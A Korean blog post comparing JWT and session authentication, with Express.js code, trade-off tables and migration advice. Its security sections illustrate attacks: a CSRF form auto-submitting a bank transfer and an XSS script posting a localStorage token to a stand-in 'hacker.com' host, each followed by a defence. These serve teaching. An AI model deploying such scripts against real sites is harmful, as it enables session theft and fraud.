JWT vs Session 인증 - 2025년 어떤 방식을 선택해야 할까?

JWT와 세션 기반 인증의 차이점, 장단점을 비교하고 프로젝트에 맞는 인증 방식 선택 가이드

Fun Utils2025년 10월 25일12분 읽기

JWT vs Session 인증 - 어떤 방식을 선택해야 할까?

웹 애플리케이션 인증 방식을 선택할 때 가장 많이 고민하는 것이 "JWT를 쓸까, 세션을 쓸까?"입니다. 이 글에서는 두 방식의 차이점과 장단점을 명확하게 비교하고, 프로젝트에 맞는 선택 가이드를 제공합니다.

빠른 비교표

항목JWTSession
저장 위치클라이언트 (localStorage/쿠키)서버 (메모리/DB/Redis)
상태Stateless (무상태)Stateful (상태 유지)
확장성높음 ⭐⭐⭐⭐⭐낮음 ⭐⭐
보안XSS 위험 ⚠️CSRF 위험 ⚠️
서버 부하낮음높음 (세션 조회)
토큰 크기큼 (200-500 bytes)작음 (32 bytes)
즉시 무효화어려움 ❌쉬움 ✅
모바일적합 ✅부적합 ❌
마이크로서비스적합 ✅부적합 ❌

Session 기반 인증

작동 방식

1. 로그인 요청
   ↓
2. 서버: 세션 생성 및 저장 (메모리/DB/Redis)
   세션 ID: "abc123"
   세션 데이터: { userId: 1, email: "user@example.com" }
   ↓
3. 클라이언트에 세션 ID 전달 (쿠키)
   Set-Cookie: sessionId=abc123; HttpOnly; Secure
   ↓
4. 이후 요청마다 쿠키로 세션 ID 전송
   Cookie: sessionId=abc123
   ↓
5. 서버: 세션 ID로 세션 데이터 조회
   ↓
6. 요청 처리

구현 예제 (Express.js)

const session = require('express-session');
const RedisStore = require('connect-redis')(session);

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,    // XSS 방지
    secure: true,      // HTTPS only
    maxAge: 3600000    // 1시간
  }
}));

// 로그인
app.post('/login', async (req, res) => {
  const user = await User.findOne({ email: req.body.email });

  if (user && await bcrypt.compare(req.body.password, user.password)) {
    // 세션에 사용자 정보 저장
    req.session.userId = user.id;
    req.session.email = user.email;
    res.json({ success: true });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

// 보호된 라우트
app.get('/profile', (req, res) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: 'Unauthorized' });
  }

  res.json({
    userId: req.session.userId,
    email: req.session.email
  });
});

// 로그아웃
app.post('/logout', (req, res) => {
  req.session.destroy();
  res.json({ success: true });
});

Session의 장점

#### ✅ 1. 즉시 무효화 가능

// 특정 사용자 세션 삭제
sessionStore.destroy(sessionId);

// 모든 사용자 세션 삭제
sessionStore.clear();

로그아웃, 비밀번호 변경, 계정 정지 시 즉시 반영됩니다.

#### ✅ 2. 서버 제어

모든 세션 정보가 서버에 있어 완벽한 제어 가능:

  • 동시 로그인 제한
  • 세션 타임아웃 조정
  • 의심스러운 세션 강제 종료

#### ✅ 3. 작은 쿠키 크기

Session: sessionId=abc123 (32 bytes)
JWT: eyJhbGciOiJIUz... (300+ bytes)

#### ✅ 4. 민감한 정보 보호

사용자 정보가 서버에만 존재하므로 클라이언트에서 조작 불가능

Session의 단점

#### ❌ 1. 서버 메모리 사용

// 사용자 10,000명 × 세션 데이터 1KB = 10MB
// 사용자 1,000,000명 = 1GB

해결책: Redis 같은 외부 저장소 사용

const RedisStore = require('connect-redis')(session);
const redis = require('redis');
const redisClient = redis.createClient();

app.use(session({
  store: new RedisStore({ client: redisClient })
}));

#### ❌ 2. 수평 확장 어려움

[서버1] - [Redis] - [서버2]
  ↑                    ↑
사용자A              사용자A

모든 서버가 같은 세션 저장소를 공유해야 함

#### ❌ 3. CSRF 공격 위험

<!-- 악의적인 사이트 -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="hacker-account">
  <input name="amount" value="1000000">
</form>
<script>document.forms[0].submit();</script>

해결책: CSRF 토큰 사용

const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.post('/transfer', csrfProtection, (req, res) => {
  // CSRF 토큰 검증 후 처리
});

#### ❌ 4. 모바일 앱 부적합

쿠키 관리가 복잡하고 플랫폼별 동작이 다름

JWT 기반 인증

작동 방식

1. 로그인 요청
   ↓
2. 서버: JWT 생성 (서버 저장 ❌)
   Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
   ↓
3. 클라이언트에 토큰 전달
   { "token": "eyJhbGc..." }
   ↓
4. 클라이언트: 토큰 저장 (localStorage)
   ↓
5. 이후 요청마다 토큰 전송
   Authorization: Bearer eyJhbGc...
   ↓
6. 서버: 토큰 검증만 (DB 조회 ❌)
   ↓
7. 요청 처리

구현 예제

const jwt = require('jsonwebtoken');

// 로그인
app.post('/login', async (req, res) => {
  const user = await User.findOne({ email: req.body.email });

  if (user && await bcrypt.compare(req.body.password, user.password)) {
    // JWT 생성
    const token = jwt.sign(
      {
        userId: user.id,
        email: user.email,
        role: user.role
      },
      process.env.JWT_SECRET,
      { expiresIn: '1h' }
    );

    res.json({ token });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

// 인증 미들웨어
function authenticate(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];

  if (!token) {
    return res.status(401).json({ error: 'Token required' });
  }

  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded;
    next();
  } catch (error) {
    res.status(403).json({ error: 'Invalid token' });
  }
}

// 보호된 라우트
app.get('/profile', authenticate, (req, res) => {
  res.json({
    userId: req.user.userId,
    email: req.user.email
  });
});

JWT의 장점

#### ✅ 1. 확장성 (Scalability)

[로드밸런서]
    ↓
    ├─→ [서버1] (토큰 검증)
    ├─→ [서버2] (토큰 검증)
    └─→ [서버3] (토큰 검증)

세션 저장소 공유 불필요!

#### ✅ 2. 무상태 (Stateless)

// 세션: DB 조회 필요
const session = await sessionStore.get(sessionId);

// JWT: 검증만 하면 됨 (DB 조회 ❌)
const user = jwt.verify(token, secret);

서버 메모리 사용량 감소, 성능 향상

#### ✅ 3. 마이크로서비스 적합

[API Gateway] - JWT 검증
     ↓
     ├─→ [User Service] - 토큰 재사용
     ├─→ [Order Service] - 토큰 재사용
     └─→ [Payment Service] - 토큰 재사용

각 서비스가 독립적으로 토큰 검증 가능

#### ✅ 4. 모바일 친화적

// React Native / Flutter
const token = await AsyncStorage.getItem('token');

fetch('https://api.example.com/data', {
  headers: {
    'Authorization': `Bearer ${token}`
  }
});

#### ✅ 5. CORS 문제 없음

https://frontend.com → https://api.backend.com
(쿠키 X, Authorization 헤더 O)

JWT의 단점

#### ❌ 1. 토큰 취소 불가

// 문제 상황
const token = jwt.sign({ userId: 1 }, secret, { expiresIn: '7d' });

// 1시간 후 로그아웃 → 토큰은 여전히 유효! (6일 23시간 남음)

해결책 1: Blacklist

const blacklist = new Set();

app.post('/logout', authenticate, (req, res) => {
  blacklist.add(req.headers.authorization.split(' ')[1]);
  res.json({ success: true });
});

function authenticate(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];

  if (blacklist.has(token)) {
    return res.status(401).json({ error: 'Token revoked' });
  }

  // 검증 계속...
}

해결책 2: Refresh Token 패턴

// Access Token: 짧은 수명 (15분)
const accessToken = jwt.sign(payload, secret, { expiresIn: '15m' });

// Refresh Token: 긴 수명 (7일), DB에 저장
const refreshToken = jwt.sign(payload, refreshSecret, { expiresIn: '7d' });
await RefreshToken.create({ userId, token: refreshToken });

// Refresh Token으로 새 Access Token 발급
app.post('/token/refresh', async (req, res) => {
  const { refreshToken } = req.body;

  // DB에서 Refresh Token 확인
  const stored = await RefreshToken.findOne({ token: refreshToken });
  if (!stored) {
    return res.status(401).json({ error: 'Invalid refresh token' });
  }

  // 새 Access Token 발급
  const decoded = jwt.verify(refreshToken, refreshSecret);
  const newAccessToken = jwt.sign(
    { userId: decoded.userId },
    secret,
    { expiresIn: '15m' }
  );

  res.json({ accessToken: newAccessToken });
});

// 로그아웃: Refresh Token 삭제
app.post('/logout', async (req, res) => {
  await RefreshToken.deleteOne({ token: req.body.refreshToken });
  res.json({ success: true });
});

#### ❌ 2. XSS 공격 위험

// localStorage에 저장된 토큰
localStorage.setItem('token', token);

// 악의적인 스크립트
<script>
  fetch('https://hacker.com/steal', {
    method: 'POST',
    body: localStorage.getItem('token')
  });
</script>

해결책: HttpOnly 쿠키

// 서버에서 쿠키로 전송
res.cookie('token', token, {
  httpOnly: true,    // JavaScript 접근 불가
  secure: true,      // HTTPS only
  sameSite: 'strict' // CSRF 방지
});

// 클라이언트는 자동으로 쿠키 전송 (JavaScript 불필요)

#### ❌ 3. 토큰 크기

Session Cookie: sessionId=abc123 (32 bytes)
JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... (300+ bytes)

매 요청마다 300 bytes 추가 전송
→ 트래픽 증가

해결책: 필요한 클레임만 포함

// Bad: 불필요한 정보 포함
const token = jwt.sign({
  userId: 1,
  email: 'user@example.com',
  name: 'John Doe',
  address: '123 Main St',
  phone: '010-1234-5678',
  bio: 'Long bio text...'
}, secret);

// Good: 필수 정보만
const token = jwt.sign({
  userId: 1,
  role: 'user'
}, secret);

언제 무엇을 선택해야 할까?

Session을 선택해야 하는 경우

#### ✅ 전통적인 웹 애플리케이션

- 단일 서버 또는 적은 수의 서버
- 주로 웹 브라우저 사용
- 강력한 세션 제어 필요
- 예: 관리자 대시보드, 내부 도구

#### ✅ 높은 보안이 필요한 경우

- 은행, 금융 서비스
- 즉시 로그아웃 필수
- 동시 로그인 제한 필요

#### ✅ 작은 규모 프로젝트

- 사용자 수 < 10,000
- 간단한 인증만 필요
- 빠른 개발 원함

JWT를 선택해야 하는 경우

#### ✅ 마이크로서비스 아키텍처

[API Gateway]
    ↓
    ├─→ [Auth Service]
    ├─→ [User Service]
    ├─→ [Order Service]
    └─→ [Payment Service]

각 서비스가 독립적으로 토큰 검증

#### ✅ 모바일 앱 + 웹 서비스

[백엔드 API]
    ↑
    ├─→ iOS App (JWT)
    ├─→ Android App (JWT)
    └─→ Web App (JWT)

모든 플랫폼에서 동일한 인증 방식

#### ✅ 높은 확장성 필요

사용자 수 > 100,000
수평 확장 (서버 추가) 빈번
글로벌 서비스 (CDN 활용)

#### ✅ 제3자 API 연동

[Your App] → [Partner API]
           ↑
         JWT 토큰으로 인증

하이브리드 접근법

실무에서는 두 방식을 혼합하여 사용하기도 합니다.

패턴 1: JWT + Redis

// JWT 발급 시 Redis에도 저장
const token = jwt.sign(payload, secret, { expiresIn: '1h' });
await redis.setex(`token:${userId}`, 3600, token);

// 검증 시 Redis 확인
const storedToken = await redis.get(`token:${userId}`);
if (token !== storedToken) {
  throw new Error('Token revoked');
}

// 로그아웃 시 Redis에서 삭제
await redis.del(`token:${userId}`);

장점:

  • JWT의 확장성 + Session의 즉시 무효화

패턴 2: Session + JWT

// 세션에 JWT 저장
req.session.token = jwt.sign(payload, secret);

// 마이크로서비스 호출 시 JWT 사용
const response = await fetch('https://api.service.com/data', {
  headers: {
    'Authorization': `Bearer ${req.session.token}`
  }
});

장점:

  • 웹에서는 세션 사용 (편리함)
  • 서비스 간 통신은 JWT (확장성)

보안 비교

공격 유형SessionJWT
XSSHttpOnly 쿠키로 방어 ✅localStorage 사용 시 취약 ⚠️
CSRFCSRF 토큰 필요 ⚠️Authorization 헤더 사용 시 안전 ✅
중간자 공격HTTPS 필수 ⚠️HTTPS 필수 ⚠️
세션 하이재킹세션 ID 탈취 위험 ⚠️토큰 탈취 위험 ⚠️
무차별 대입Rate Limiting 필요 ⚠️Rate Limiting 필요 ⚠️

공통 보안 조치:

  • ✅ HTTPS 사용
  • ✅ Rate Limiting
  • ✅ 짧은 만료 시간
  • ✅ 강력한 비밀키/Salt

성능 비교

요청당 처리 시간

// Session: DB 조회 필요
GET /profile
├─ 1ms: 네트워크
├─ 5ms: Redis 조회 (세션 데이터)
└─ 2ms: 응답 생성
= 총 8ms

// JWT: 검증만
GET /profile
├─ 1ms: 네트워크
├─ 0.5ms: JWT 검증 (CPU만)
└─ 2ms: 응답 생성
= 총 3.5ms

JWT가 2배 이상 빠름 (단, Redis를 사용한 경우)

메모리 사용량

Session (사용자 100,000명):
- 메모리: 100MB (1KB/user)
- Redis: 필요

JWT (사용자 100,000명):
- 메모리: 0MB
- Redis: 불필요

실전 예제: 전환 가이드

Session → JWT 마이그레이션

// 1단계: 병렬 실행 (Session + JWT 모두 발급)
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body);

  // Session 생성 (기존)
  req.session.userId = user.id;

  // JWT 발급 (신규)
  const token = jwt.sign({ userId: user.id }, secret);

  res.json({
    sessionId: req.sessionID, // 기존 앱용
    token                      // 신규 앱용
  });
});

// 2단계: 두 방식 모두 지원
function authenticate(req, res, next) {
  // JWT 우선 확인
  const token = req.headers.authorization?.split(' ')[1];
  if (token) {
    try {
      req.user = jwt.verify(token, secret);
      return next();
    } catch {}
  }

  // Session 확인 (fallback)
  if (req.session.userId) {
    req.user = { userId: req.session.userId };
    return next();
  }

  res.status(401).json({ error: 'Unauthorized' });
}

// 3단계: Session 제거 (모든 클라이언트가 JWT로 전환 후)

결론 및 추천

2025년 권장 사항

신규 프로젝트:

  • 🟢 JWT 추천 (확장성, 모던 아키텍처)
  • Refresh Token 패턴 필수
  • HttpOnly 쿠키에 저장

기존 프로젝트:

  • 🟡 Session 유지 (안정성 우선)
  • 필요시 점진적 마이그레이션

대규모 서비스:

  • 🟢 JWT + Redis (하이브리드)
  • 확장성 + 제어력

빠른 결정 트리

프로젝트 규모?
├─ 소규모 (< 10,000 users)
│  └─ Session ✅
│
├─ 중규모 (10,000 - 100,000 users)
│  ├─ 모바일 앱? → JWT ✅
│  └─ 웹만? → Session or JWT
│
└─ 대규모 (> 100,000 users)
   └─ JWT (+ Redis) ✅

관련 도구:

더 알아보기:

💙 우리의 콘텐츠가 도움이 되셨나요?

무료 블로그와 도구 개발을 지원해주실 수 있습니다.


관련 글